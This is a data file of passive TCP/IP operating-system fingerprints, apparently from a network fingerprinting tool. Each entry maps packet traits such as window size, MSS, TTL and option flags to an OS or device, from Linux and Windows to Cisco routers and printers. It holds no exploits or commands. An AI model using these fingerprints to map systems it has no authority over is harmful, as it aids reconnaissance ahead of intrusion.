0B68:05B4:40:00:1:1:1:1:S:3C:Linux 2.4.21 0B68:05B4:40:WS:0:0:0:0:A:2C:DLink DP-300 Printserver 0B68:05B4:40:WS:1:1:1:0:A:30:Linux 2.2.19 0B68:05B4:FF:WS:1:1:1:0:A:LT:Lexmark T520 Network Printer 0B68:_MSS:40:WS:0:0:1:0:A:LT:Linux 2.0.32 - 2.0.34 0B68:_MSS:80:00:0:1:1:0:A:LT:Sun Solaris 8 early acces beta through actual release 0B68:_MSS:80:00:0:1:1:1:A:LT:Sun Solaris 8 early acces beta through actual release 0B68:_MSS:80:WS:0:0:0:0:A:LT:D-Link Print Server 0BB8:05B0:20:WS:0:0:0:0:A:2C:VMS/VAX 5.5 0BB8:_MSS:80:00:0:1:0:0:A:LT:OpenVMS 7.1 Alpha running Digital's UCX v4.1ECO2 0C00:0109:40:10:0:1:0:1:S:3C:Linux Mandrake 9.1 0C00:052A:40:WS:0:0:0:0:A:2C:NetGear Router 0C00:05A0:40:WS:0:0:0:0:A:2C:Trendnet TEW 431 BRP 0C00:05B4:FF:00:0:1:0:0:A:30:OKI 0C00:05B4:FF:WS:0:0:0:0:A:2C:OKI 0C00:_MSS:40:WS:0:0:0:0:S:28:Slackware 8.0 0C00:_MSS:40:WS:0:0:0:0:S:LT:Linux Slakware 8.0 0C00:_MSS:80:WS:0:0:0:0:A:LT:Canon photocopier/fax/scanner/printer GP30F 0C1C:05B4:FF:WS:0:0:0:0:A:2C:Nokia M1122 Adsl Router 0C90:0218:40:WS:0:0:0:0:A:2C:HP Printer 0C90:05B4:40:00:1:1:1:0:S:34:Windows 0C90:05B4:40:WS:1:1:1:0:S:30:Windows XP 0C90:_MSS:80:WS:0:0:0:0:A:LT:HP JetDirect Print Server 0E00:_MSS:80:WS:0:0:0:0:A:LT:Lantronix EPS1 Version V3.5/1(970325) 0ED0:03C0:40:00:1:1:1:1:A:3C:linux 0F87:_MSS:80:00:0:0:0:0:A:LT:Novell NetWare 3.12 or 386 TCP/IP 0F87:_MSS:80:WS:0:0:0:0:A:LT:A/UX 3.1.1 SVR2 or OpenStep 4.2 0F87:_MSS:80:WS:0:0:1:0:A:LT:AIX 4.3 0FA0:_MSS:80:WS:0:0:0:0:A:LT:MultiTech CommPlete (modem server) RAScard 0FFF:0400:20:WS:0:0:0:0:A:2C:ASMAX Broadband router 1000:0002:40:WS:0:0:0:0:A:2C:Alcatel Modem 1000:0004:FF:WS:0:0:0:0:A:2C:Cisco PIX 1000:0109:40:10:0:1:0:1:S:LT:FreeBSD 4.5 1000:0200:40:00:0:1:0:1:A:3C:Alcatel Router ADSL Speed Touch Pro 1000:0200:40:WS:0:0:0:0:A:2C:Alcatel Speedtouch Pro ADSL modem 1000:0200:40:WS:0:0:0:0:S:LT:CISCO IOS 1000:0200:FF:WS:0:0:0:0:A:2C:Alcatel Speed Touch Home/Pro 1000:0400:1E:F5:0:0:0:0:S:LT:Alcatel (Xylan) OmniStack 5024 v3.4.5 1000:0400:1E:WS:0:0:0:0:S:LT:Chorus MiX V.3.2 r4.1.5 COMP-386 1000:0400:20:F5:0:0:0:0:S:LT:Alcatel (Xylan) OmniStack 5024 1000:0400:20:WS:0:0:0:0:A:2C:Alcatel LSS 210-Stack Version 3.4.8 1000:0400:40:WS:0:0:0:0:A:2C:HP J2603A Ethernet SNMP Module 1000:0400:40:WS:0:0:0:0:S:2C:Trumpet TCP 2.01 / DOS 1000:05AC:FF:WS:0:0:0:0:A:2C:QMS4060 1000:05B0:80:00:0:1:0:0:S:30:VMS 1000:05B4:10:WS:0:0:0:0:A:2C:Extreme Gigabit switch 1000:05B4:20:WS:0:0:0:0:A:2C:StorageWorks SAN switch (FabricOS v2.1.7) 1000:05B4:40:WS:0:0:0:0:A:18:DWL1000 802.11b Access Pointrt.com 1000:05B4:40:WS:0:0:0:0:A:2C:iPath Cable Media Access Hub 1000:05B4:40:WS:0:0:0:0:S:2C:Solaris 1000:05B4:FF:WS:0:0:0:0:A:2C:Cisco Pix 515 1000:0901:40:10:0:1:0:1:S:LT:Mac os X 10.1 1000:AC05:40:WS:0:0:0:0:A:2C:HP Procurve Switch 1000:_MSS:20:WS:0:0:0:0:A:28:Motorola SurfBoard SB4100 CableModem 1000:_MSS:20:WS:0:0:0:0:S:28:Linux RedHat 9 (kernel 2.4.20) 1000:_MSS:40:WS:0:0:0:0:A:LT:SCO UnixWare 2.1.2 1000:_MSS:40:WS:0:0:0:0:S:28:SunOS 4.1.4 1000:_MSS:40:WS:0:0:0:0:S:LT:Linux 1000:_MSS:80:00:0:0:1:0:A:LT:OpenVMS/Alpha 7.1 using Process Software's TCPWare V5.3-4 1000:_MSS:80:00:0:1:0:0:A:LT:Alcatel 1000 ADSL (modem) 1000:_MSS:80:00:0:1:0:1:A:LT:Alcatel 1000 ADSL (modem) 1000:_MSS:80:WS:0:0:0:0:A:28:Aironet AP4800E v8.07 11 Mbps wireless access poinit 1000:_MSS:80:WS:0:0:1:0:A:LT:VirtualAccess LinxpeedPro 120 running Software 7.4.33CM 1020:0218:FF:WS:0:0:0:0:A:2C:Cisco 2600 IOS 12.0 1020:0218:FF:WS:0:0:0:0:S:2C:Cisco 3660 IOS 12.2(x) 1020:022C:FF:00:0:0:0:0:S:LT:Cisco 1750 IOS 12.0(5), Cisco 2500 IOS 11.3(1) 1020:022C:FF:WS:0:0:0:0:A:2C:Cisco IOS 12.0(5) 1020:0564:FF:WS:0:0:0:0:A:2C:IOS (tm) C2600 Software (C2600-IS-M), Version 12.2(8)T4,R 1020:05B4:FF:WS:0:0:0:0:A:2C:Cisco IOS 12.1.5-12.2.13a 1020:05B4:FF:WS:0:0:0:0:S:LT:Cisco 2611 IOS 11.3(2)XA4 1020:6405:FF:WS:0:0:0:0:A:2C:Cisco IOS 1020:B405:FF:WS:0:0:0:0:A:2C:AIRONET1200 1020:_MSS:80:WS:0:0:0:0:A:LT:AS5200 1020:_MSS:FF:WS:0:0:1:0:A:LT:Cisco IOS 10A4:058C:FF:00:1:1:1:1:A:40:Windows Server 2003 10C0:0218:80:WS:1:1:1:0:S:30:Windows 2000 Advanced Server SP2 10C0:0218:FF:WS:0:0:0:0:A:2C:Cisco IOS 10C0:0218:FF:WS:0:0:0:0:S:LT:Cisco 1600 IOS 11.2(15)P 10C0:055E:80:WS:1:1:1:0:S:30:Windows 98 10C0:05B4:40:00:1:1:1:1:S:40:Windows XP 10C0:05B4:80:WS:1:1:1:0:S:30:Windows NT SP3 10C0:05B4:FF:WS:0:0:0:0:A:2C:Cisco IOS 11.2 10C0:05B4:FF:WS:0:0:0:0:S:LT:Cisco 3620 IOS 11.2(17)P 10C0:_MSS:80:WS:0:0:0:0:A:LT:Cisco 1600/3640/7513 Router (IOS 11.2(14)P) 111C:0218:40:WS:0:0:0:0:A:2C:Ascend MAX 1800 111C:05B4:20:WS:0:0:0:0:A:2C:Linksys PSUS4 Printserver 111C:05B4:40:WS:0:0:0:0:A:2C:OpenVMS 111C:05B4:40:WS:0:0:1:0:A:2C:Ascend MAX6000 111C:05B4:40:WS:0:0:1:0:A:LT:SCO Openserver 502 111C:_MSS:80:WS:0:0:0:0:A:LT:Ascend/Lucent Max (HP,4000-6000) version 6.1.3 - 7.0.2+ 111C:_MSS:80:WS:0:0:1:0:A:LT:Apple LaserWriter 16/600 PS, HP 6P, or HP 5 Printer 1140:05CC:40:00:1:1:1:1:A:3C:Linux 2.4.8 1146:05C2:40:00:1:1:1:1:S:3C:Debian 3.0 woody (2.4.18) 1164:05B4:40:01:1:1:1:1:S:3C:Fedora Red Hat 1234:_MSS:FF:WS:0:0:0:0:S:28:Knoppix based L.A.S 12CC:0650:40:00:1:1:1:1:A:3C:Debian Woody 12D8:1802:FF:WS:0:0:0:0:S:2C:Palm OS 1490:0524:40:00:1:1:1:1:S:3C:Linux Suse 8.1 14B8:052E:40:00:1:1:1:1:S:3C:Linux RedHat 7 14F0:0218:80:WS:1:1:1:0:A:LT:Windows 2000 Professional 14F0:05B4:80:WS:1:1:1:0:S:LT:Windows ME 1520:0548:40:00:1:1:1:1:S:3C:Linux Red Hat 1540:0550:40:00:1:1:1:1:S:3C:Linux 1540:0550:40:WS:0:0:1:0:A:2C:Linux RedHat - 2.4.18 1540:0550:40:WS:1:1:1:0:A:30:Linux 2.4.x 1590:0564:40:00:1:1:1:1:S:3C:Debian Woody (Kernelversion 2.4.18) 159F:05B4:40:00:0:1:1:0:S:3C:FreeBSD 2.2.1 - 4.1 15B8:057A:40:00:1:1:1:1:A:3C:Linux 2.4.10 15E0:0584:40:00:0:1:1:1:A:3C:Linux 2.4.20 1608:0582:40:WS:1:1:1:0:A:30:Linux 1610:0584:40:00:1:1:1:1:S:3C:Linux 2.4.20 1618:0578:40:00:1:1:1:1:S:3C:Linux 2.4.13 1640:0590:40:00:1:1:1:1:S:3C:Linux 2.4.23 165C:_MSS:80:WS:0:0:1:0:A:LT:SCO Release 5 1678:05AA:40:00:1:1:1:1:A:3C:Linux 2.6.1 1680:0584:40:00:1:1:1:1:A:3C:Linux 2.4.18 2.4.19 1680:05AC:40:00:1:1:1:1:A:3C:Linux 2.4.20 (X86) 1680:_MSS:80:00:0:1:1:1:A:LT:Linux 2.4.7 (X86) 16A0:01F4:40:00:1:1:1:1:A:3C:Linux 16A0:0564:40:00:0:1:1:1:A:3C:Linux 2.6.x 16A0:0564:40:00:1:1:0:1:A:3C:Linux Redhat 7.2 (Enigma) - Linux 16A0:0564:40:00:1:1:1:1:A:3C:Linux 2.4.xx 16A0:0564:40:WS:0:1:1:1:A:38:Linux 16A0:0564:40:WS:1:0:1:1:A:38:Linux 2.4.21 16A0:0578:40:00:1:1:1:1:A:3C:Linux 2.4.7 16A0:057A:40:00:1:1:1:1:A:3C:Debian Linux 16A0:057A:40:02:1:1:1:1:A:3C:Debian GNU/Linux 16A0:0584:40:00:1:1:1:1:A:3C:Linux 16A0:0586:40:00:1:1:1:1:A:3C:Linux 16A0:059C:40:00:1:1:1:1:A:3C:Linux fw 2.4.7-10 16A0:05AC:20:00:1:1:1:1:A:3C:Linux 16A0:05AC:40:00:0:1:1:1:A:3C:Linux 2.4.20 RedHat 9 16A0:05AC:40:00:1:1:0:1:A:3C:Linux 16A0:05AC:40:00:1:1:1:1:A:3C:Linux 2.4.18-686 (Debia GNU/Linux) 16A0:05AC:80:00:1:1:1:1:A:3C:Linux 2.4.12 16A0:05AC:FF:00:1:1:1:1:A:3C:Linux 2.4.12 16A0:05B4:40:00:0:1:1:1:A:3C:Linux 2.4.4-4GB 16A0:05B4:40:00:1:1:0:1:A:3C:Windows XP 16A0:05B4:40:00:1:1:1:0:A:LT:Linux 2.4.2 16A0:05B4:40:00:1:1:1:1:A:3C:Linux 2.4.xx 16A0:05B4:40:01:1:1:1:1:A:LT:Linux Kernel 2.4.17 (with MOSIX patch) 16A0:05B4:40:02:1:1:1:1:A:3C:Linux 2.6.9 - 2.6.11 16A0:05B4:40:03:1:1:0:1:A:3C:Linux Kernel 2.4.xx 16A0:05B4:40:07:1:1:1:1:A:3C:Linux.2.4.20-web100 16A0:05B4:40:WS:0:1:1:1:A:38:Windows 16A0:05B4:40:WS:1:0:1:1:A:38:Linux 16A0:05B4:80:00:0:1:1:0:A:3C:Linux Kernel 2.4.xx 16A0:05B4:80:00:0:1:1:1:A:3C:Linux Kernel 2.4.xx 16A0:05B4:80:00:1:1:1:1:A:3C:Linux Kernel 2.4.12 16A0:05B4:FF:00:1:1:0:1:A:3C:Linux Kernel 2.4.18 16A0:05B4:FF:00:1:1:1:1:A:3C:Linux 2.4.12 16A0:2A05:40:00:1:1:0:1:A:3C:Linux 2.4.22 16A0:5C05:40:00:0:1:1:1:A:3C:Linux 2.4.19 Knoppix 16A0:6405:40:02:0:1:1:1:A:3C:RedHat Enterprise 3.0 ES 16A0:6405:40:02:1:1:1:1:A:3C:Linux 2.6.9-1 16A0:7A05:40:00:0:1:1:1:A:3C:Redhat Linux 16A0:7E05:40:00:0:1:1:1:A:3C:linux debian 16A0:8C05:40:00:0:1:1:1:A:3C:Linux RedHat 9 16A0:B405:40:00:0:1:1:1:A:3C:Linux version 2.4.2-2 (Red Hat Linux 7.1) 16A0:B405:40:00:0:1:1:1:A:LT:Linux Kernel 2.4.24 (ppc) 16A0:B405:40:00:1:1:1:1:A:3C:Linux Debian Unstable 2.4.26 16A8:05AA:40:WS:1:1:1:0:A:30:Debian GNU/Linux (unstable) - 2.4.xx Series Kernel 16B0:051E:40:WS:1:1:1:0:A:30:Linux 2.4.19 16B0:0584:40:00:1:1:1:1:S:3C:Linux 2.2.x 16B0:0584:40:WS:0:0:1:0:A:2C:Slackware 8.0 Linux 2.2.20 16B0:0584:40:WS:1:1:1:0:A:30:Redhat 7.0 (linux 2.2.16) 16B0:05AC:40:00:1:1:1:0:S:3C:Linux 2.4.10 16B0:05AC:40:00:1:1:1:1:S:3C:Linux 2.4.18-6mdk 16B0:05AC:40:02:1:1:1:1:S:3C:Linux Ubuntu 5.04 Hoary 16B0:05AC:40:6F:1:1:1:0:S:3C:Linux 2.4.10 16D0:0218:80:00:1:1:1:0:S:30:Windows 95 16D0:0218:80:WS:1:1:1:0:A:30:Windows 2000 16D0:052A:40:00:1:1:0:1:S:3C:Linux 2.4.23 16D0:0546:40:WS:1:1:1:0:A:30:Linux 2.4.19 16D0:0550:80:WS:1:1:1:0:S:30:Windows XP 16D0:055C:40:00:1:1:1:1:S:3C:Linux 2.6.7-gentoo-r7 16D0:055C:40:WS:0:0:1:0:A:2C:Debian Sar 16D0:0564:40:00:0:1:1:0:A:30:Phlak 0.2 16D0:0564:40:00:1:1:1:0:A:34:Linux 2.4.2 16D0:0564:40:00:1:1:1:1:S:3C:Linux RedHat 16D0:0564:40:WS:0:0:1:0:A:2C:Linux 2.4 16D0:0564:40:WS:1:1:1:0:A:30:Linux 2.4.19 16D0:0564:40:WS:1:1:1:1:S:3C:Slackware Linux 8.1 16D0:0584:40:00:1:1:1:1:S:3C:Linux 2.4.8 16D0:0584:40:02:1:1:1:1:S:3C:MANDRAKE 10.1 16D0:0584:40:WS:0:0:1:0:A:2C:Linux 2.4.18 16D0:0584:40:WS:1:1:1:0:A:30:Linux 2.4.17 16D0:0584:80:WS:0:0:1:0:A:2C:RedHat Linux 16D0:0594:40:WS:0:0:0:0:A:2C:Linux 16D0:0598:40:WS:0:0:1:0:A:2C:Linux 16D0:0598:40:WS:1:1:0:0:A:30:Linux 16D0:0598:40:WS:1:1:1:0:A:30:WindowsXP Sp2 16D0:059C:40:00:1:1:1:1:S:3C:fedora core 16D0:059C:40:WS:1:1:1:0:A:30:Red Hat Linux 16D0:05AC:40:00:1:1:1:1:S:3C:Debian - Linux 2.4.18 16D0:05AC:40:WS:0:0:1:0:A:2C:Linux 2.4.xx 16D0:05AC:40:WS:1:1:0:0:A:30:Windows .NET 16D0:05AC:40:WS:1:1:1:0:A:30:Linux 2.4.18-3 (IServ/RedHat) 16D0:05B4:01:WS:1:1:1:0:A:30:Linux 16D0:05B4:20:00:1:1:1:1:S:3C:Linux 2.4.20 16D0:05B4:20:00:1:1:1:1:S:LT:Linux 2.4.10-GR Security Patch 1.8.1 16D0:05B4:40:00:0:1:0:0:A:30:Slackware 2.4.17 16D0:05B4:40:00:0:1:0:1:A:3C:HP psc 2500 network Printer 16D0:05B4:40:00:0:1:1:0:A:30:Linux Slackware 8 - kernel 2.4.17 16D0:05B4:40:00:0:1:1:0:S:30:Mandrake 8.2 16D0:05B4:40:00:0:1:1:0:S:3C:Linux 2.4.13-ac7 16D0:05B4:40:00:0:1:1:1:S:3C:Linux 2.4.19-pre10-ac2 16D0:05B4:40:00:1:1:0:0:S:34:Linux 2.4.xx 16D0:05B4:40:00:1:1:0:1:S:3C:Linux 2.6.0 16D0:05B4:40:00:1:1:1:0:A:34:Linux 2.4.xx 16D0:05B4:40:00:1:1:1:0:S:30:Linux 2.4.1-14 16D0:05B4:40:00:1:1:1:0:S:34:Linux 2.4.23-grsec 16D0:05B4:40:00:1:1:1:0:S:34:Linux Debian Woody 16D0:05B4:40:00:1:1:1:0:S:3C:Linux 2.4.xx 16D0:05B4:40:00:1:1:1:1:S:3C:Linux 2.4.xx 16D0:05B4:40:01:1:1:1:1:S:3C:Linux 2.4.10 - 2.4.16 16D0:05B4:40:01:1:1:1:1:S:LT:Linux Red Hat 9 16D0:05B4:40:02:1:1:1:1:S:3C:Linux 2.6.9 - 2.6.10 16D0:05B4:40:03:1:1:1:0:A:34:Windows 16D0:05B4:40:07:1:1:1:1:S:3C:Debian Linux 16D0:05B4:40:07:1:1:1:1:S:3C:Linux Fedora Core 2 2.6.8-1.521 16D0:05B4:40:WS:0:0:0:0:A:2C:HP LaserJet 2100 Series 16D0:05B4:40:WS:0:0:0:0:A:LT:Intel PRO/Wireless LAN Acess Point Version 02.00-04 16D0:05B4:40:WS:0:0:0:0:S:2C:Linux 16D0:05B4:40:WS:0:0:1:0:A:2C:Linux 2.4.xx 16D0:05B4:40:WS:0:0:1:0:A:LT:Linux 16D0:05B4:40:WS:0:0:1:0:A:LT:Linux 16D0:05B4:40:WS:0:0:1:0:S:2C:Linux 2.4.18 16D0:05B4:40:WS:0:1:1:1:S:38:SuSE Linux 8.0 Kernel 2.4.18-4GB (i686) 16D0:05B4:40:WS:1:1:0:0:A:30:Linux 16D0:05B4:40:WS:1:1:1:0:A:1C:Linux 2.4.22-gentoo-r5 16D0:05B4:40:WS:1:1:1:0:A:30:Linux 2.4.xx 16D0:05B4:40:WS:1:1:1:0:A:30:Linux 2.6.9 - 2.6.10 16D0:05B4:40:WS:1:1:1:0:A:30:Linux Fedora Core 1 16D0:05B4:40:WS:1:1:1:0:A:30:Mandrake 9.2 (Linux 2.4.xx) 16D0:05B4:80:00:1:1:1:1:S:3C:Linux 2.4.14 - 2.4.22 16D0:05B4:80:WS:0:0:0:0:A:2C:Linux 16D0:05B4:80:WS:0:0:1:0:A:2C:Windows XP / 2000 16D0:05B4:80:WS:0:0:1:0:S:2C:FreeBSD 16D0:05B4:80:WS:1:1:0:0:A:30:Linux 16D0:05B4:80:WS:1:1:1:0:A:30:Windows 95 16D0:05B4:80:WS:1:1:1:0:S:30:Windows 95 16D0:05B4:80:WS:1:1:1:0:S:LT:Windows 98 / 2000 16D0:05B4:FF:00:1:1:1:1:S:3C:Slackware Linux 16D0:05B4:FF:WS:0:0:0:0:A:2C:Linksys BEFSR11 1 Port Router/HUB 16D0:05B4:FF:WS:0:0:1:0:S:2C:Linux 2.4 16D0:05B4:FF:WS:1:1:0:0:S:30:Windows 98 16D0:05B4:FF:WS:1:1:1:0:A:LT:Linux 2.4.10 16D0:05B4:FF:WS:1:1:1:0:S:30:Windows 98 16D0:9C05:40:WS:1:1:1:0:A:30:Linux 2.4.18 16D0:B405:40:00:1:1:1:1:S:3C:Linux 2.4.18 16D0:B405:40:00:1:1:1:1:S:LT:Redhat Linux 7.1 (Kernel 2.4.2) 16D0:B405:40:01:1:1:1:1:S:LT:SuSe 8.0 Linux 2.4.18 16D0:B405:40:WS:0:0:0:0:A:2C:HP LaserJet 4050N 16D0:B405:40:WS:0:0:0:0:A:LT:SMC Broadband / MacSense Router 16D0:B405:40:WS:0:0:1:0:A:2C:RedHat Linux 7.3 (2.4.18) 16D0:B405:FF:WS:0:0:0:0:A:2C:LinkSys Router 16D0:_MSS:80:00:0:0:0:0:A:LT:HP Color LaserJet 4500N, Jet Direct J3113A/2100 16D0:_MSS:80:00:0:1:1:0:A:LT:Windows NT4 / Win95 / Win98 16D0:_MSS:80:00:0:1:1:1:A:LT:Windows NT4 / Win95 / Win98 16D0:_MSS:80:WS:0:0:0:0:A:LT:HP Color LaserJet 4500N, Jet Direct J3113A/2100 16D0:_MSS:80:WS:0:0:1:0:A:LT:Linux 2.4.7 (X86) 1770:0578:40:WS:0:0:1:0:A:2C:SMC Router SMC7004VBR 1800:04EC:80:WS:1:1:0:0:A:30:NetWare 6 SP3 1800:0558:80:WS:0:0:1:0:A:LT:Novell Netware 5.1 SP3 1800:0558:80:WS:0:0:1:0:S:2C:Novel Netware 4.0 1800:05B4:40:00:0:1:1:1:S:3C:VMS 1800:05B4:80:00:0:1:1:0:A:30:Novel Netware 5.1 1800:05B4:80:00:1:1:1:0:A:34:Novell Netware 5.1 1800:05B4:80:00:1:1:1:0:S:34:Novell Netware 6.0 1800:05B4:80:WS:0:0:1:0:A:2C:Novell Netware 4.0 / 5.0 1800:05B4:80:WS:0:0:1:0:S:2C:Novell Netware 5.1 1800:05B4:80:WS:1:1:1:0:A:30:Netware 5.1 SP5 1800:5805:80:WS:0:0:1:0:A:LT:Novell Netware 5.1 1800:_MSS:40:WS:0:0:1:0:A:LT:VMS MultiNet V4.2(16) / OpenVMS V7.1-2 1800:_MSS:80:00:0:1:0:0:A:LT:OpenVMS 6.2 - 7.2-1 on VAX or AXP 1800:_MSS:80:00:0:1:0:1:A:LT:OpenVMS 6.2 - 7.2-1 on VAX or AXP 1800:_MSS:80:00:0:1:1:0:A:LT:VMS MultiNet V4.2(16)/ OpenVMS V7.1-2 1800:_MSS:80:00:0:1:1:1:A:LT:VMS MultiNet V4.2(16)/ OpenVMS V7.1-2 1800:_MSS:80:WS:0:0:0:0:A:LT:IPAD Model 5000 or V.1.52 1800:_MSS:80:WS:0:0:1:0:A:LT:Novell Netware 5.0 SP5 1860:05B4:80:WS:1:1:1:0:A:30:Windows XP Pro 1920:05B4:40:WS:1:1:0:0:S:30:Windows 98 192F:_MSS:80:00:0:0:0:0:A:LT:Mac OS 7.0-7.1 With MacTCP 1.1.1 - 2.0.6 192F:_MSS:80:WS:0:0:0:0:A:LT:Mac OS 7.0-7.1 With MacTCP 1.1.1 - 2.0.6 1AB8:0564:40:WS:1:1:1:0:A:LT:IRIX 1C52:05AA:40:00:1:1:1:1:S:40:Windows XP Pro 1C84:05B4:40:WS:0:0:1:0:A:2C:Linux 1C84:_MSS:80:WS:0:0:0:0:A:LT:Instant Internet box 1D4C:_MSS:80:WS:0:0:0:0:A:LT:Sega Dreamcast 1F0E:_MSS:80:WS:0:0:0:0:A:LT:AmigaOS AmiTCP/IP 4.3 1FB0:0FD8:40:WS:0:0:0:0:A:2C:Actiontec ADSL modem 1FB0:0FD8:40:WS:0:0:0:0:A:2C:Actiontec ADSL mom 1FE0:0550:80:WS:1:1:1:0:S:30:Windows 1FFE:0218:FF:WS:0:0:0:0:A:2C:Linux Debian 1FFE:0546:FF:WS:0:0:0:0:A:2C:Linux Debian 2.4 1FFE:055C:FF:WS:0:0:0:0:A:2C:Linux Debian woody 1FFE:0584:FF:WS:0:0:0:0:A:2C:Linux Debian 1FFE:0596:FF:WS:0:0:0:0:A:2C:Windows 1FFE:05AC:FF:WS:0:0:0:0:A:2C:Linux Debian 1FFE:05B4:FF:WS:0:0:0:0:A:2C:Linux Debian 1FFF:_MSS:80:00:0:0:1:0:A:LT:Novell NetWare 3.12 - 5.00 1FFF:_MSS:80:WS:0:0:1:0:A:LT:NetWare 4.11 SP7- 5 SP3A BorderManager 3.5 2000:0002:40:00:0:1:0:0:A:LT:Mac OS 9/Apple ShareIP 2000:0109:40:WS:0:0:0:0:A:LT:Cisco CacheOS 1.1.0 2000:0200:40:WS:0:0:0:0:A:2C:ForeThought ASX200BX 2000:0200:40:WS:0:0:0:0:A:LT:QNX / Amiga OS 2000:0200:80:WS:1:1:1:0:S:30:Windows XP - Windows 98 2000:020C:40:00:0:1:0:1:A:LT:OS/400 2000:0218:20:WS:1:1:0:0:S:30:Windows XP 2000:0218:40:WS:0:0:0:0:A:LT:OS/400 2000:0218:80:00:1:1:1:0:S:30:Windows 9x 2000:0218:80:WS:1:1:1:0:S:30:Windows 9x or 2000 2000:052A:80:WS:1:1:1:0:S:30:Windows 98 2000:0534:80:WS:1:1:1:0:S:30:Windows 98 2000:0550:80:WS:1:1:1:0:S:30:Windows 9x 2000:0556:80:WS:1:1:1:0:S:30:Windows 98 SE 2000:0564:40:WS:0:0:0:0:A:2C:Linux 2000:0564:80:WS:1:1:1:0:S:30:Windows 98 2000:056C:40:00:0:1:0:1:A:3C:IBM AS400 2000:0584:40:WS:0:0:0:0:A:2C:Linux (debian 2.0) 2000:0586:80:WS:1:1:1:0:S:30:Windows 9x or NT4 2000:0588:80:WS:1:1:1:0:S:30:Windows 98SE 2000:0598:80:WS:1:1:1:0:S:30:Windows 2000 2000:059C:40:00:0:1:0:1:A:3C:Windows NT 2000:059C:80:WS:1:1:1:0:S:30:Windows 98 2000:05AC:40:00:0:1:0:0:A:30:OS 400 2000:05AC:40:WS:0:0:0:0:A:2C:Windows 2000:05AC:40:WS:0:0:1:0:A:2C:AS400 2000:05AC:80:WS:0:0:1:0:S:2C:Windows NT 4.0 2000:05AC:80:WS:1:1:1:0:S:30:Windows 98 SE 2000:05B0:20:WS:0:0:1:0:S:2C:Windows 95 2000:05B0:80:00:1:1:1:0:S:40:Linux 2.2.13 2000:05B0:80:00:1:1:1:1:S:LT:Windows 95 2000:05B0:80:WS:0:0:0:0:A:2C:D-Link DI 614v2.2 2000:05B0:80:WS:1:1:1:0:S:30:Windows NT SP3 2000:05B4:08:WS:1:1:0:0:S:30:Windows 2000 2000:05B4:20:00:0:0:1:0:S:2C:Windows NT 4.0 2000:05B4:20:WS:0:0:1:0:S:2C:Windows 95 2000:05B4:20:WS:1:1:0:0:S:LT:Slackware Linux 7.1 Kernel 2.2.16 2000:05B4:20:WS:1:1:1:0:S:30:Windows 98 2000:05B4:40:00:0:1:0:0:A:30:SMC Barricade Wireless router 2000:05B4:40:00:0:1:1:0:S:3C:BSDI BSD/OS 3.1 2000:05B4:40:00:0:1:1:0:S:LT:BSDI BSD/OS 3.1 2000:05B4:40:00:0:1:1:1:A:3C:FreebSD 5.0 RELEASE (x86) 2000:05B4:40:00:1:1:1:0:S:3C:BSDI BSD/OS 3.0-3.1 (or MacOS, NetBSD) 2000:05B4:40:00:1:1:1:0:S:40:WebTV netcache engine (BSDI) 2000:05B4:40:00:1:1:1:1:S:40:WindowsXP 2000:05B4:40:WS:0:0:0:0:A:2C:Linux 2000:05B4:40:WS:0:0:0:0:S:2C:CacheFlow 500x CacheOS 2.1.08 - 2.2.1 2000:05B4:40:WS:0:0:1:0:A:2C:Apple Airport Express v6.1 2000:05B4:40:WS:0:0:1:0:S:2C:AXCENT Raptor Firewall Windows NT 4.0/SP3 2000:05B4:40:WS:1:1:1:0:S:30:Windows XP 2000:05B4:80:00:0:0:1:0:S:2C:Windows NT 4.0 2000:05B4:80:00:0:0:1:0:S:LT:Windows NT 4.0 2000:05B4:80:00:1:1:1:0:S:2C:Windows 9x 2000:05B4:80:00:1:1:1:0:S:30:Windows 9x 2000:05B4:80:00:1:1:1:0:S:40:Windows 9x 2000:05B4:80:00:1:1:1:1:S:40:Windows 95 2000:05B4:80:WS:0:0:0:0:A:2C:D-Link DWL-900AP 2000:05B4:80:WS:0:0:0:0:S:2C:Windows NT 4.0 2000:05B4:80:WS:0:0:1:0:A:2C:Windows 2000 2000:05B4:80:WS:0:0:1:0:S:2C:Windows NT 4.0 SP6a / Windows 2000 2000:05B4:80:WS:1:0:1:0:S:2C:Windows NT 2000:05B4:80:WS:1:0:1:0:S:LT:Windows NT 2000:05B4:80:WS:1:1:0:0:S:30:Windows 95 2000:05B4:80:WS:1:1:1:0:A:30:Windows 2000 2000:05B4:80:WS:1:1:1:0:S:30:Windows 98 / 2000 2000:05B4:80:WS:1:1:1:0:S:3C:Linux 2.2.19 2000:05B4:80:WS:1:1:1:0:S:LT:Windows 98 2000:05B4:FF:WS:1:1:0:0:S:30:Windows XP SP1 2000:05B4:FF:WS:1:1:1:0:S:30:Windows 98SE 2000:6363:80:WS:1:1:1:0:S:LT:Microsoft NT 4.0 Server SP5 2000:6D70:40:WS:0:0:0:0:A:2C:Linux 2000:B405:20:WS:0:0:0:0:A:LT:HP Ux 9.x 2000:B405:20:WS:0:0:1:0:S:LT:Windows 2000 2000:B405:40:00:0:1:0:1:A:3C:Apple AirPort Base Station 2000:B405:40:00:0:1:1:1:A:3C:windows 98 2000:B405:80:00:0:1:0:1:A:3C:Cisco VPN3002 HW Client 2000:B405:80:WS:0:0:1:0:S:LT:Windows 98 / NT 2000:B405:80:WS:1:1:1:0:S:30:Windows 98 / XP 2000:B405:FF:WS:1:1:1:0:S:30:Windows 98se 2000:_MSS:40:WS:0:0:0:0:S:LT:Mac OS 8.6 2000:_MSS:40:WS:0:0:1:0:A:LT:BSDI BSD/OS 2000:_MSS:80:00:0:0:0:0:A:LT:IBM VM/ESA 2.2.0 CMS Mainframe System 2000:_MSS:80:00:0:0:1:0:A:LT:Novell NetWare 3.12 - 5.00 2000:_MSS:80:00:0:1:0:0:A:LT:Accelerated Networks - High Speed Integrated Access VoDSL 2000:_MSS:80:00:0:1:0:1:A:LT:Tandem NSK D40 2000:_MSS:80:00:0:1:1:0:A:LT:AS/400e 720 running OS/400 R4.4 2000:_MSS:80:00:0:1:1:1:A:LT:AS/400e 720 running OS/400 R4.4 2000:_MSS:80:WS:0:0:0:0:A:LT:AGE Logic, Inc. IBM XStation 2010:_MSS:80:WS:0:0:1:0:A:LT:Windows NT / Win9x 2017:0534:80:WS:0:0:1:0:A:2C:Windows 98 SE 2017:05B4:40:00:0:1:1:1:A:LT:BSDI BSD/OS 3.0-3.1 (or possibly MacOS, NetBSD) 2017:05B4:80:WS:0:0:1:0:A:2C:Windows 98 SE / Windows NT 4.0 2017:1802:80:WS:0:0:1:0:A:LT:Windows NT 4.0 2017:_MSS:80:00:0:1:0:0:A:LT:Ascend GRF Router running Ascend Embedded/OS 2.1 2017:_MSS:80:00:0:1:1:0:A:LT:BSDI 4.0-4.0.1 